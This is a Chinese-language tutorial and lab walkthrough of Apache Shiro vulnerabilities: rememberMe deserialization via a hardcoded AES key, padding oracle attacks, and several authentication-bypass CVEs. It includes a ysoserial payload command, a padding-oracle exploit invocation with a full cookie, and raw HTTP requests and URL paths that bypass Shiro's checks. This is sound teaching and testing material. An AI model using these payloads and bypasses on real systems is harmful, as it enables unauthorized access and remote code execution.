Shiro-550反序列化漏洞（CVE-2016-4437）漏洞简介

shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞，造成的原因是默认加密密钥是硬编码在shiro源码中，任何有权访问源代码的人都可以知道默认加密密钥。于是攻击者可以创建一个恶意对象，对其进行序列化、编码，然后将其作为cookie的rememberMe字段内容发送，Shiro 将对其解码和反序列化，导致服务器运行一些恶意代码。

​ 特征：cookie中含有rememberMe字段

​ 修复建议：

更新shiro到1.2.4以上的版本。不使用默认的加密密钥，改为随机生成密钥。漏洞原理一、Shiro简介

​ Apache Shiro 是一个强大易用的 Java 安全框架，提供了认证、授权、加密和会话管理等功能，对于任何一个应用程序，Shiro 都可以提供全面的安全管理服务。

​ 在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的，于是我们就可以构造RememberMe的值，然后让其反序列化执行。

Primary Cocnerns（基本关注点）:

Authentication（认证）：经常和登录挂钩，是证明用户说他们是谁的一个工作Authorization（授权）：访问控制的过程，即，决定‘谁’可以访问‘什么Session Management（会话管理）：管理用户特定的会话，即使在非web或是EJB的应用中Crytography（加密）：通过加密算法保证数据的安全，且易于使用

Supporting Features（辅助特性）:

Web Support（网络支持）:web support API可以帮助在web应用中方便的使用shiroCaching（缓存）:保证安全操作使用快速有效Concurrency（并发）:支持多线程应用Testing（测试）：支持集成单元测试Run As（以..运行）：可以假定用户为另一个用户Remeber Me:记住用户，无需再次登录二、Shiro服务器识别身份加解密处理的流程1、加密用户使用账号密码进行登录，并勾选”Remember Me“。Shiro验证用户登录信息，通过后，查看用户是否勾选了”Remember Me“。若勾选，则将用户身份序列化，并将序列化后的内容进行AES加密，再使用base64编码。最后将处理好的内容放于cookie中的rememberMe字段。2、解密当服务端收到来自未经身份验证的用户的请求时，会在客户端发送请求中的cookie中获取rememberMe字段内容。将获取到的rememberMe字段进行base64解码，再使用AES解密。最后将解密的内容进行反序列化，获取到用户身份。三、Key

AES加密的密钥Key被硬编码在代码里

漏洞复现

攻击机IP：192.168.0.109

靶机IP：192.168.72.128

1、访问靶机

存在Remember me选项，尝试抓包

2、漏洞利用

Github上工具很多，我们随便拿一款来进行验证

爆破密钥成功后，即可执行命令

Shiro-721反序列化漏洞（CVE-2019-12422）漏洞简介0x01首先讲一下面试官经常会问到的一个问题

Shiro550和Shiro721的区别是什么

Shiro550只需要通过碰撞key，爆破出来密钥，就可以进行利用Shiro721的ase加密的key一般情况下猜不到，是系统随机生成的，并且当存在有效的用户信息时才会进入下一阶段的流程所以我们需要使用登录后的rememberMe Cookie，才可以进行下一步攻击

​ 在Shiro721中，Shiro通过AES-128-CBC对cookie中的rememberMe字段进行加密，所以用户可以通过Padding Oracle加密生成的攻击代码来构造恶意的rememberMe字段，进行反序列化攻击，需要执行的命令越复杂，生成payload需要的时间就越长。

漏洞原理

​ 由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题，用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段，用有效的RememberMe cookie作为Padding Oracle Attack 的前缀，然后制作精心制作的RememberMe来执行Java反序列化攻击

攻击流程

​ 登录网站，并从cookie中获取RememberMe。使用RememberMe cookie作为Padding Oracle Attack的前缀。加密syserial的序列化有效负载，以通过Padding Oracle Attack制作精心制作的RememberMe。请求带有新的RememberMe cookie的网站，以执行反序列化攻击。攻击者无需知道RememberMe加密的密码密钥。

AES-128-CBC

属于AES加密算法的CBC模式，使用128位数据块为一组进行加密解密，即16字节明文，对应16字节密文，，明文加密时，如果数据不够16字节，则会将数据补全剩余字节

若最后剩余的明文不够16字节，需要进行填充，通常采用PKCS7进行填充。比如最后缺3个字节，则填充3个字节的0x03;若最后缺10个字节，则填充10个字节的0x0a;若明文正好是16个字节的整数倍，最后要再加入一个16字节0x10的组再进行加密Padding Oracle Attack原理

​ Padding Oracle攻击可以在没有密钥的情况下加密或解密密文

​ Shiro Padding Oracle Attack（Shiro填充Oracle攻击）是一种针对Apache Shiro身份验证框架的安全漏洞攻击。Apache Shiro是Java应用程序中广泛使用的身份验证和授权框架，用于管理用户会话、权限验证等功能。

​ Padding Oracle Attack（填充Oracle攻击）是一种针对加密算法使用填充的安全漏洞攻击。在加密通信中，填充用于将明文数据扩展到加密算法块大小的倍数。在此攻击中，攻击者利用填充的响应信息来推断出加密算法中的秘密信息。

​ Shiro Padding Oracle Attack利用了Shiro框架中的身份验证过程中的一个漏洞，该漏洞允许攻击者通过填充信息的不同响应时间来确定身份验证过程中的错误。通过不断尝试不同的填充方式，攻击者可以逐步推断出加密秘钥，并最终获取访问权限。

​ 这种攻击利用了填充错误的身份验证响应来获取关于秘密信息的信息泄漏，然后根据这些信息进行进一步的攻击。为了防止Shiro Padding Oracle Attack，建议及时更新Apache Shiro版本，确保已修复该漏洞，并采取其他安全措施，如使用安全的加密算法和密钥管理策略。

漏洞复现1、拉取环境

docker pull vulfocus/shiro-721docker run -d -p 8080:8080 vulfocus/shiro-721

环境启动完成后,在本地浏览器访问靶场地址:your-ip:8080

2、攻击环节

​ 0x01 登录成功后，我们从Cookie中获取到rememberMe字段的值

0x02 使用ysoserial生成Payload

java -jar ysoserial.jar CommonsCollections1 "touch /tmp/YikJiang" > payload.class

0x03 使用rememberMe值作为prefix，加载Payload，进行Padding Oracle攻击。

python shiro_exp.py  k+3DDsh6f+macxMUtS2QvAS7Fm3CyMpFB6wz4apvrieZhTIMaLey74RYMgywpM2fFncf3y7cRTU6F73MIJ5ygJ0QqzYlvX2xcmOUCe+uLiH66B0aAcs7vY6Ipimbo8tTX3vbReu0vovnmDVK4fT+lfmhZxtgFp8imCapqIb6KYr3NtmQTfORGhFZ+I2vzMN2geaYRwFkTbzfuo8vHgmzHJaR1jTn2sLVaxiIuqMYqsjiCVvN7q64wpde0JGQs1eowMKJ5VSlnUnp1NGficIFYdTETxDjJJHrmKNSxdHPCstWfQD3N6jEK1CT3vE+UxxVrtSO2XoBEHYrSTdK1bxVtunwVu5+F7lfwex3b2qY/F6EzCUjzKQN13AmqhrnyesRx+AYNzVFCZ49oYfj/dtz1XKbGr9anMuw6dq/avJdMfHzlEUThYFgZ2yRSUBAlOGliwwV+GRuhjRocka3wAgjxyG80VdJiovtXhoEhvd3peYC6TzPi2hPVXppVq3P+F8s payload.class

生成的payload.class内容越多时间就越长，所以尽量选择较短的命令执行来复现漏洞即可。最终会生成如下rememberMe cookies

我们将跑出来的Cookie添加到数据包中进行发送，就可以 发现在靶机中成果创建了对应的文件。

到这未知其实经常遇到的Shrio漏洞已经表述的差不多了，下面几个是shiro存在但是在现实中利用难度大或者是比较少的洞，可以简单了解一下

Shiro 认证绕过漏洞（CVE-2020-1957）漏洞原理

​ 在Apache Shiro 1.5.2以前的版本中，在使用Spring动态控制器时，攻击者通过构造..;这样的跳转，可以绕过Shiro中对目录的权限限制。

URL请求过程：

客户端请求URL:/xxx/..;/admin/Shrio 内部处理得到校验URL为/xxxx/..,校验通过SpringBoot 处理/xxx/..;/admin/, 最终请求/admin/, 成功访问了后台请求。漏洞复现1、权限配置

@Beanpublic ShiroFilterChainDefinition shiroFilterChainDefinition() {    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form    chainDefinition.addPathDefinition("/logout", "logout");    chainDefinition.addPathDefinition("/admin/**", "authc");    return chainDefinition;}

直接请求管理页面/admin/，无法访问，将会被重定向到登录页面

3、绕过POC

构造恶意请求/xxx/..;/admin/，即可绕过权限校验，访问到管理页面：

Shiro 身份验证绕过 （CVE-2020-13933）漏洞简介

​ CVE-2020-11989的修复补丁存在缺陷，在1.5.3及其之前的版本，由于shiro在处理url时与spring仍然存在差异，依然存在身份校验绕过漏洞由于处理身份验证请求时出错，远程攻击者可以发送特制的HTTP请求，绕过身份验证过程并获得对应用程序的未授权访问。

​ 该漏洞产生的原因主要是shiro层在处理url上和spring上存在差异，主要是在处理;上的问题，通过构造含有;符号的url即可绕过shiro在权限上的处理，而spring不负责权限管控，所以最终会导致权限绕过。ant风格的路径仅出现一个*时才能成功，而**无法绕过，*：匹配一个或者多个任意的字符。

**：匹配零个或者多个目录。

漏洞复现1、开启环境2、正常访问敏感界面

/admin/admin

提示让我们登录

3、通过%3b绕过，不触发身份验证并且绕过权限

/admin/%3badmin

Shiro 授权绕过 （CVE-2022-32532）漏洞简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

1.9.1 之前的 Apache Shiro，RegexRequestMatcher 可能被错误配置为在某些 servlet 容器上被绕过。在正则表达式中使用带有.的 RegExPatternMatcher 的应用程序可能容易受到授权绕过。

漏洞概述

2022年6月29日，Apache 官方披露 Apache Shiro 权限绕过漏洞(CVE-2022-32532)，当 Apache Shiro 中使用 RegexRequestMatcher 进行权限配置，且正则表达式中携带“.”时，未经授权的远程攻击者可通过构造恶意数据包绕过身份认证。

影响范围

Apache Shiro < 1.9.1

利用流程

访问

抓包修改

GET /permit/any HTTP/1.1Host: 123.58.224.8:36930Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: think_lang=zh-cnConnection: close

需要携带token字段

改包绕过

GET /permit/%0any HTTP/1.1Host: 123.58.224.8:36930Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: think_lang=zh-cnConnection: close

from